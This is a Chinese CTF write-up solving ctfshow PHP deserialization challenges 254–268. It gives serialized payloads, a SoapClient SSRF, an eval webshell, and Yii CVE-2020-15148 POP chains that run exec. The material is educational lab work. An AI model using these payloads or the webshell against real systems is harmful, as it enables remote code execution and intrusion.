反序列化中常用的魔术方法:__wakeup() //执行unserialize()时,先会调用这个函数__sleep() //执行serialize()时,先会调用这个函数__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当尝试将对象调用为函数时触发

目录

Web 254

Web 255

Web 256

Web 257

web 258

web 259

Web 260

Web 261

web 265

Web 266

Web 267

Web 268


Web 254

if($user->login($username,$password))

让其返回ture即可。

if($this->username===$u&&$this->password===$p){$this->isVip=true;}

所以传入的和代码中一样的即可。

Payload:

?username=xxxxxx&password=xxxxxx

Web 255

绕过这两个if即可。

if($user->login($username,$password)){if($user->checkVip())
<?phpclass ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=ture;}$a=serialize(new ctfShowUser());echo urlencode($a);

传入结果即可。

不要忘记GET的内容username=xxxxxx&password=xxxxxx

Web 256

比上一题多了一步。

if($this->username!==$this->password)

代表反序列化后的username和password不相等。

<?phpclass ctfShowUser{public $username='xxxxxx';public $password='a';public $isVip=ture;}$a=serialize(new ctfShowUser());echo urlencode($a);

payload:

?username=xxxxxx&password=a

Cookie:

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

Web 257

需要利用backDoor类中getInfo()方法的eval,改变code的值即可。

当反序列化时,会触发__construct方法shile实例化backDoor类,当最后销毁时会自动调用__destruct()方法,然后,eval()执行命令。

<?phpclass ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=ture;public function __construct(){$this->class=new backDoor();}public function __destruct(){$this->class->getInfo();}}class backDoor{private $code="system('ls');";public function getInfo(){eval($this->code);}}$a=serialize(new ctfShowUser());echo urlencode($a);

payload:

?username=xxxxxx&password=xxxxxx

Cookie传入:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

web 258

加号绕过正则即可。

<?phpclass ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public function __construct(){$this->class=new backDoor();}public function __destruct(){$this->class->getInfo();}}class backDoor{public $code="system('cat f*');";public function getInfo(){eval($this->code);}}$a= serialize(new ctfShowUser());echo $a."\n";$a=str_replace("O:","O:+",$a);echo $a."\n";echo urlencode($a);

payload:

?username=xxxxxx&password=xxxxxx

Cookie传入:

user=O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7D%7D

web 259

知识点
1.某个实例化的类,如果调用了一个不存在的函数会去调用__call魔术方法__call会发送一个请求
2.POST数据提交类型之Content-Type

Exp:

<?php$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));echo urlencode(serialize($client))?>

Payload:

?vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A10%3A"127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A138%3A"ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D

然后访问flag.txt即可

Web 260

传入的ctfshow中序列化出来需要有ctfshow_i_love_36D。

我们直接传入:

? Ctfshow= ctfshow_i_love_36D

得到flag

Web 261

这一题的invoke没法进入,所以可以利用file_put_contents函数将一句话木马写入。

而且code需要等于0x36d(877),可以传入877.php,因为==是弱类型比较

当类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,

则只有 __unserialize() 方法会生效,所以不需要考虑wakeup中的内容。

反序列化时会进入__unserialize()当中,当ctfshowvip被销毁替代时又会进入__destruct()。

然后会经过file_put_contents函数,便可以达到目的。

Payload:

O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}

之后便是正常的利用一句话木马来得到flag。

web 265

应为passsword可控,可以让password指向token的地址,这样一来当token随机生成数时,password也会随之变化。

例子:

<?phpclass ctfshowAdmin{public $token;public $password;public function __construct(){$this->password=&$this->token;$this->token='a';}}$a=serialize(new ctfshowAdmin());echo $a?>

Payload:

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

Web 266

区分大小写的: 变量名、常量名、数组索引(键名key)

不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

大小写绕过即可。

<?phpclass ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __destruct(){global $flag;echo $flag;}}echo serialize(new ctfshow())?>

POST:

O:7:"ctfSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

Web 267

CVE-2020-15148漏洞。

弱密码登录admin/admin

查看源码发现:

尝试传入。

尝试到/index.php?r=site%2Fabout&view-source。

Poc:

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'exec';$this->id = 'ls />feng.txt';}}}namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));}

Payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEzOiJscyAvPmZlbmcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

然后访问feng.php,发现flag。

改一下脚本利用cp /flag 1.txt得到flag。

Web 268

过滤了flag。

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'exec';$this->id = 'cp /f* feng.txt';}}}namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['isRunning'] = [new IndexAction(), 'run'];}}}namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes = [];public function __construct(){$this->processes[]=new Generator();}}}namespace{use Codeception\Extension\RunProcess;echo base64_encode(serialize(new RunProcess()));}

Payload:

/index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTU6ImNwIC9mKiBmZW5nLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=

然后访问feng.txt

ctfshow web入门-反序列化相关推荐

  1. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  2. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  3. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  4. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  5. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  6. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  7. ctfshow web入门-XXE

    ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...

  8. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  9. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

最新文章

  1. 用物理学突破深度学习理论瓶颈? Google-斯坦福发布《深度学习统计力学》综述论文,30页pdf阐述深度学习成功机制...
  2. LeetCode 6 Z字形变换
  3. python常用内置模块-python 常用内置模块使用
  4. php 表单跳转,html - 思路问题:php表单跳转
  5. kali查看共享 linux_在Linux下访问Windows共享文件夹
  6. Socket通用TCP通信协议设计及实现(防止粘包,可移植,可靠)
  7. fastai学习:02_production Questionnaire
  8. 智能手机下半场迎来淘汰赛:有的拼供应链,有的打起了 AI 的主意
  9. 汽车短视频大行其道,新能源汽车平台杉车网如何“领风骚”?
  10. OpenCV 直方图基础
  11. ubuntu下鼠标右键没有新建文档?
  12. 照片太大怎么缩小kb?
  13. 【FI】财务预制凭证界面隐藏过账按钮
  14. ffmpeg rtmp推流
  15. 判断用户使用的浏览器是不是IE8
  16. Python利用Twitter API根据tweet id抓取tweet(via tweepy/twython)
  17. MP4转gif得力工具
  18. 堡垒机是干什么的?堡垒机的主要功能是什么?堡垒机的目标价值有哪些?
  19. 通过微软实习面试......
  20. [分类算法] :朴素贝叶斯 NaiveBayes

热门文章

  1. win10中设置程序开机自启动
  2. 【系统篇 / 安装】❀ 01. 安装镜像 ISO 文件下载 ❀ Windows Server 2016
  3. 四--RIL层代码分析--整个电话来访过程
  4. 浅析多通道接收单元噪声系数的测试
  5. 数据仓库模型篇-点外卖
  6. 在Eclipse中手动安装pydev插件(一切都是被逼的,垃圾网络)
  7. 如何在Windows中将图像合并为一个PDF文件
  8. EXLCE 一键清除格式
  9. 【skynet学习笔记】skynet的目录结构
  10. 长微博识别—让图片里的文字走出来!